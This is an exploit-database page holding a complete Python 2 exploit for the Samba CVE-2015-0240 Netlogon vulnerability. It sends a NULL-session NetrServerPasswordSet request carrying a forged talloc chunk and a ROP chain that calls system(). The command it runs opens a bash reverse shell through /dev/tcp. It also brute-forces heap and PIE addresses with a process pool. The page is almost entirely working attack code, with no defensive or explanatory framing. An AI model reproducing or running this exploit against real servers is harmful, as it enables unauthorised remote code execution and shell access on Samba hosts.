Samba CVE-2015-0240 远程代码执行漏洞利用



EKU-ID: 4734 CVE: OSVDB-ID:
Author: kelwin Published: 2015-04-08 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/env python2

# Author: kelwin@chaitin.com

# sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2

import sys
import signal
import time

# https://github.com/zTrix/zio
from zio import *

from multiprocessing import Pool, Manager

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *

host = '127.0.0.1'
port = 445
cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0"
# 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;
pop4ret_o = 0x41e2cb
# 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;
popebx_o = 0x006fd522
pivot_o = 0xa6d7c
got_o = 0x9cd640
fmt_o = 0x8e043e
system_o = 0xa4250
snprintf_o = 0xa3e20
bss_o = 0x9d5dc0

pie = 0x80000000
free_addr = 0x809fa10c + 8 + 32

def exploit(free_addr, pie=0, destructor=-1, step=0x80):
    pivot = pie + pivot_o
    pop4ret = pie + pop4ret_o
    popebx = pie + popebx_o
    got = pie + got_o
    fmt = pie + fmt_o
    system = pie + system_o
    snprintf = pie + snprintf_o
    bss = pie + bss_o

    if pie != 0:
        destructor = pivot
    # struct talloc_chunk {
    #     struct talloc_chunk *next, *prev;
    #     struct talloc_chunk *parent, *child;
    #     struct talloc_reference_handle *refs; // refs = 0
    #     talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
    #     const char *name;
    #     size_t size;
    #     unsigned flags; // magic
    #     void *poo
    # };
    talloc_chunk = l32(0)           # refs => 0
    talloc_chunk += l32(destructor) # destructor => control EIP
    talloc_chunk += l32(pop4ret)    # pop4ret
    talloc_chunk += 'leet'          #
    talloc_chunk += l32(0xe8150c70) # flags => magic

    # ebx => got
    rop = l32(popebx) + l32(got)
    # write cmd to bss
    for i in xrange(len(cmd)):
        c = cmd[i]
        rop += l32(snprintf) + l32(pop4ret)
        rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
    # system(cmd)
    rop += l32(system) + 'leet' + l32(bss)

    payload = 'deadbeef'
    payload += talloc_chunk * 0x1000 * step
    payload += 'leet' * 2
    payload += rop.ljust(2560, 'C')
    payload += 'cafebabe' + '\0'

    username = ''
    password = ''

    ###
    # impacket does not implement NetrServerPasswordSet
    ###
    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
    class NetrServerPasswordSet(NDRCALL):
        opnum = 6
        structure = (
           ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
           ('AccountName',WSTR),
           ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
           ('ComputerName',WSTR),
           ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )

    class NetrServerPasswordSetResponse(NDRCALL):
        structure = (
           ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('ErrorCode',NTSTATUS),
        )

    nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)

    ###
    # connect to target
    ###
    rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host)
    rpctransport.set_credentials('','')  # NULL session
    rpctransport.set_dport(port)
    # impacket has a problem with SMB2 dialect against samba4
    # force to 'NT LM 0.12' only
    rpctransport.preferred_dialect('NT LM 0.12')

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)

    sessionKey = '\x00' * 16

    ###
    # prepare ServerPasswordSet request
    ###
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
    authenticator['Timestamp'] = 10

    uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
    uasNewPass['Data'] = payload

    primaryName = nrpc.PLOGONSRV_HANDLE()
    # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
    primaryName.fields['ReferentID'] = free_addr

    request = NetrServerPasswordSet()
    request['PrimaryName'] = primaryName
    request['AccountName'] = username + '\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
    request['ComputerName'] = host + '\x00'
    request['Authenticator'] = authenticator
    request['UasNewPassword'] = uasNewPass

    DCERPCSessionError = nrpc.DCERPCSessionError
    try:
        resp = dce.request(request)
        print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except DCERPCSessionError as e:
        # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
        # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except impacket.nmb.NetBIOSError as e:
        # print 'exception occured'
        if e.args[0] == 'Error while reading from remote':
            # print("connection lost!!!\nmight be vulnerable")
            return 1
        else:
            raise
    except AttributeError:
        # print("exception")
        return 0

def init_worker():
    signal.signal(signal.SIGINT, signal.SIG_IGN)

def guess_heap(free_addr, step, hits):
    if len(hits) > 0: return
    log("[+] trying heap addr %s" % hex(free_addr), 'green')
    res = exploit(free_addr, destructor=-1, step=step)
    if res == 0:
        res = exploit(free_addr, destructor=0, step=step)
        if res != 0:
            log("hit: %s" % hex(free_addr), 'red')
            hits.append(free_addr)

def guess_pie(free_addr, pie, step):
    log("[+] trying pie base addr %s" % hex(pie), 'green')
    try:
        exploit(free_addr, pie=pie, step=step)
    except impacket.nmb.NetBIOSTimeout:
        pass

def brute_force_heap(step):
    hit = False
    print "Initializng 10 processes for brute forcing heap address..."
    pool = Pool(10, init_worker)
    manager = Manager()
    hits = manager.list()
    for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20):
        for offset in xrange(5):
            pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))

    try:
        while True:
            time.sleep(5)
            if len(hits) > 0:
                pool.terminate()
                pool.join()
                return hits[0]

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()
        sys.exit(0)

def brute_force_pie(free_addr, step):
    print "Initializng 10 processes for brute forcing PIE base address..."
    pool = Pool(10, init_worker)
    for pie in range(0xb6d00000, 0xb6f00000, 0x1000):
        pool.apply_async(guess_pie, (free_addr, pie, step))

    try:
        time.sleep(60 * 60)

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()

    else:
        pool.close()
        pool.join()

step = 0x1
free_addr = brute_force_heap(step)
brute_force_pie(free_addr, step)